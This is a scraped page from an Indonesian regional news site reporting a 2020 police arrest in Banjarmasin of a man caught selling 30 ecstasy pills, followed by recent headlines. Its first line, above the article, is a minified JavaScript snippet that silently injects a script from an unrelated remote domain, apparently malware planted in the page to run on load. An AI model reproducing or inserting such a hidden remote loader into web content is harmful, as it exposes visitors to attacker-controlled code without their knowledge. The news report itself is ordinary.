(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kriminal Banjarmasin

Mau Jual Ineks, AJ Digelandang ke Satresnarkoba Polresta Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Seorang pria berinisial AJ (38), warga Jalan Prona I, Pemurus Baru, Banjarmasin, diringkus Satresnarkoba Polresta Banjarmasin pada Kamis (4/6/2020) siang sekitar pukul 11.35 Wita. Dia ditangkap saat saat hendak melakukan transaksi ineks di Jalan Gerilya Kelayan Timur, Banjarmasin.

Kasat Reserse Narkoba Polresta Banjarmasin, Kompol Wahyu Hidayat SIK mengatakan, AJ memang sudah lama menjadi terget. “Ketika dia mau melakukan transaksi langsung diringkus anggota,” ucap Kompol Wahyu, Minggu (7/6/2020) siang.

Ia membeberkan, pada saat penangkapan, AJ sempat membuang barang bukti berupa pil ineks yang akan dijualnya untuk menghilangkan jejak. Namun petugas yang melihat berhasil menemukan barang haram tersebut. “Barang bukti yang berhasil kita amankan dari tersangka berjumlah 30 butir pil ekstasi jenis ineks bewarna cokelat muda dengan bentuk batman,” ungkapnya.

Kendati sempat membuang barang bukti, pelaku AJ akhirnya mengakui puluhan pil batman tersebut merupakan miliknya. Ia pun ditetapkan sebagai tersangka. Saat ini AJ yang kesehariannya bekerja sebagai pedagang itu masih menjalani proses pemeriksaan di ruang penyidik.

Dari hasil pemeriksaan sementara, total barang bukti yang diamankan dari tersangka dengan bersih bersih 7,85 gram. Akibat kepemilikan pil ineks tersebut, AJ dikenakan Pasal 112 ayat (2) Undang-undang Nomor 35 Tahun 2009 Tentang Narkotika dengan ancaman minimal 5 tahun penjara. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : cell

 


Al Ghifari

Recent Posts

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

3 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

6 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

6 jam ago

Pascabanjir Bandang Balangan 48 Rumah Mulai Diperbaiki

KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More

6 jam ago

Serah Terima Aset Pemkab Kapuas – Kejari, Bupati Wiyatno: Lahan akan Dijadikan Taman

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More

10 jam ago

Memperkuat Iman Peringati Isra Mikraj Warga Binaan Rutan Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More

10 jam ago

This website uses cookies.